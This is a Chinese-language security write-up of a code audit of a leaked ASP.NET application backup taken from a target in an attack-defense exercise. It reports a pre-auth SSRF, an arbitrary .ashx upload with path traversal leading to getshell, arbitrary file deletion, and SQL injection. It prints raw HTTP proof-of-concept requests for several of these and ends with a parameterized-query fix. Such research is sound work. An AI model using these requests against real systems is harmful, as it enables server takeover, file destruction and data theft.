文章总结: 本文记录了通过获取ASP.NET源码备份进行代码审计并获取Shell的过程。作者通过反编译DLL文件,重点审计Web层,挖掘出前台SSRF、任意文件上传、任意文件删除及SQL注入等高危漏洞。利用文件上传漏洞结合路径遍历技巧,成功绕过限制获取服务器权限。文章展示了完整的漏洞挖掘思路,强调了审计的重要性。 综合评分: 93 文章分类: 代码审计,渗透测试,漏洞分析,WEB安全,实战经验
记一次从源码泄露到Getshell
原创
junesec
sec安全
2025年12月29日 14:39 山东
朋友在一次攻防演练中,经过对目标网站的扫描,成功获取到了源码的备份文件bin.rar,丢给我帮忙看一下,所以有了这篇水文记录一下挖掘过程。
1.从bin压缩包到漏洞挖掘全流程
在渗透测试和安全审计中,我们经常能获取到ASP.NET应用程序的bin目录压缩包。这里面包含了编译后的DLL文件、配置文件等宝贵信息。掌握正确的分析方法,能让我们高效地发现安全漏洞。
第一步先进行环境准备,对我们得到的bin压缩包下的dll文件进行反编译。可根据个人习惯使用Ilspy或者dnspy等。
这里可以看出需要重点关注的是
DYJKQ_Smart.Drain.Web.dll也就是Web层(MVC控制器/视图),处理HTTP请求(如用户输入、文件上传)。**风险点**:可能存在**XSS**(跨站脚本)、**CSRF**(跨站请求伪造)、**文件上传等漏洞**(如未校验文件类型/大小)。一般涉及到数据查询的方法调用需要跟进到DAL数据访问层的实现去查看。
DY_Smart.Drain.Data.dll数据访问层(DAL),负责数据库操作(如SQL查询、存储过程调用)。**风险点**:若存在**SQL注入**(如未参数化查询)、**数据库配置泄露**(如连接字符串硬编码),会导致数据泄露或权限提升。
其余的是一些数据库驱动和JSON库、企业级组件、第三方库等。
代码审计过程中,可以去搜索以下关键词去寻找对应的漏洞。在实际审计过程中,需要结合上下文判断是否存在漏洞(如用户输入是否可控、参数是否未过滤等)。优先级可根据业务逻辑(如核心业务、第三方组件)调整,但函数调用本身是漏洞的“信号”,可重点关注。也可以根据对项目的源码的基础了解,去定向搜索存在漏洞的函数调用。
前置知识了解:
这里还可以通过前面泄露的网站的视图层源码去寻找对应的cs源代码文件。
<%@ WebHandler Language="C#" CodeBehind="WaterHandler.ashx.cs" Class="DYJKQ\_Smart.Drain.Web.Handler.WaterHandler" %>
这是ASP.NET中**ASHX文件(通用HTTP处理程序)**的指令,用于声明该文件是一个**轻量级Web处理程序**(不依赖完整的ASP.NET页面生命周期,适合处理API请求、文件下载等场景)。当客户端请求该ASHX文件时,ASP.NET会实例化指定的C#类,调用其处理逻辑并返回响应。
指令由@ WebHandler标记开始,包含4个关键属性,每个属性的作用如下:
(1)Language="C#" **作用**:指定处理程序使用的编程语言(C#)。**说明**:ASP.NET支持多种语言(如VB.NET),此处明确使用C#编写后台逻辑。
(2)CodeBehind="WaterHandler.ashx.cs" -**作用**:指定**后台代码文件路径**(即处理程序的C#代码文件)。 说明: CodeBehind是“代码分离”的体现,将HTML/标记(ASHX文件本身)与业务逻辑(C#代码)分开,便于维护。 路径WaterHandler.ashx.cs表示:与当前ASHX文件同目录下的WaterHandler.ashx.cs文件是后台代码文件。
(3)Class="DYJKQ\_Smart.Drain.Web.Handler.WaterHandler"**作用**:指定**后台代码中要实例化的类名**。说明: 该类必须**实现IHttpHandler接口**(ASP.NET处理程序的核心接口),否则运行时会报错。类名DYJKQ\_Smart.Drain.Web.Handler.WaterHandler是项目的**完全限定名**(命名空间+类名),ASP.NET会根据此名称在WaterHandler.ashx.cs中查找对应的类。
2.前台SSRF漏洞
根据这个我们去寻找DYJKQ_Smart.Drain.Web.Handler.WaterHandler
可以看出这里的路由结构是接受一个Action参数,根据Action的值,来触发对应的方法。
这里选择QueryData值。跟进该方法查看:
接受一个serviceUrl参数,然后使用httpwebrequest直接进行处理,并未进行任何过滤。
poc:
GET /xxxx/xxxx/WaterHandler.ashx?Action=QueryData&serviceUrl=http://xxxx HTTP/1.1Host: xPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: .ASPXAUTH=Connection: keep-alive
这里还可以利用file协议进行文件读取等。
3.前台任意文件上传getshell
可以看到接受一个Action参数触发访问我们这里选择addFile 跟进代码查看。
没有任何的过滤导致文件上传成功。而且这里还可以通过../来覆盖任何文件夹下的文件,比如覆盖web.config等等。
POC:
POST /xxxxx/xxxx/EmergencyPlan/EmergencyPlan.ashx?Action=addFile HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Accept: */*Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gWContent-Length: 250------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="file"; filename="gfyl.ashx"Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document123456------WebKitFormBoundary7MA4YWxkTrZu0gW--
由于web.config的配置限制的问题,这里直接访问ashx后门解析文件报错,可通过../../跨目录将Webshell脚本上传到其他目录,。这里其实我们的文件名是完全可控的,完全可以在当前目录下上传一个配置好的web.config来解决也是可以的。这里只是帮朋友审计,所以危险利用我这里就不做了。最终朋友也是成功Getshell
4.前台任意文件删除漏洞:
路由就不说了,依旧是接受Action,这里我们传递参数值为Delete 触发DeleteInfoById方法
跟进查看:
private string DeleteInfoById(HttpContext context) { string result = "false"; try { string id = context.Request.QueryString["Id"]; string path = HttpContext.Current.Request.PhysicalApplicationPath + "[\\WaterLogging\\EmergencyPlan\\EmergencyPlan\\](file://WaterLogging/EmergencyPlan/EmergencyPlan/)" + id; if (File.Exists(path)) { File.Delete(path); return "true"; } return "文件不存在"; } catch (Exception ex) { return "异常:" + ex.Message; } }
这里将ID直接拼接到该目录下,可以通过../删除web.config等。
POC:
GET /xxxx/xxxxx/EmergencyPlan/EmergencyPlan.ashx?Action=Delete&Id=test.docx HTTP/1.1Host: Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: .ASPXAUTH=Connection: keep-alive
删除成功。
5.SQL注入漏洞:
这套源码的SQL注入漏洞在目标系统无法利用,这个系统实际上并没有在目标服务器上完全运行起来,经过测试发现,所有涉及到数据库交互的接口目前都不能用,都会报系统运行错误。这里也就暂时先没办法进行利用了。贴几个存在漏洞点的截图。
其实非常多,比如这里的where的模糊查询,接受了传递过来的RFMC参数作为name值,拼接到where语句里。
接受一个RFMC参数作为name值,拼接到where语句里。然后调用count = bll.Count(where);方法执行。
跟进bll.Count方法
明显这里也是直接把where语句进行了拼接,这里跟进看看 DbHelper.*DefaultSession*.**FromSql**(sql)这个方法是否有过滤。
虽然 FromSql 方法签名中包含 params SQLParameter[] parameters,但在调用时并未使用它来传递参数,而是直接拼接了字符串。因为这里并没有使用占位符。
总结:params SQLParameter[] 这个参数只是一个传递管道。如果你在 SQL 字符串里没留“接口”(占位符),数据库引擎压根就不会去用这个管道里的数据,直接就执行拼接好的字符串了
修复代码大概如下,加入一个@占位符参数绑定即可。
public int Count(string name){ // 1. SQL 语句不再拼接字符串,而是使用占位符 @RFMC // 注意:这里只写字段名和占位符,不写具体的值 string sql = "select count(*) from RIMS_DS_RAINFALLSTATION where 1=1 and RFMC like @RFMC"; try { // 2. 准备参数的值 // 对于模糊查询,我们在 C# 代码中将通配符 % 拼接到值上,而不是在 SQL 语句里 object paramValue = "%" + name + "%"; // 3. 创建 SQLParameter 对象 // 第一个参数是占位符名称 "@RFMC",第二个参数是值 SQLParameter p = new SQLParameter("@RFMC", paramValue); // 4. 调用 FromSql 时,把 SQL 字符串作为第一个参数,参数对象作为第二个参数传入 // 由于 params 关键字的存在,你可以直接传对象,也可以传数组 new SQLParameter[]{ p } return DbHelper.DefaultSession.FromSql(sql, p).ToScalar<int>(); } catch (Exception ex) { LogManager.DefaultLogger.Error(ex); return 0; }
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:sec安全 junesec《记一次从源码泄露到Getshell》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论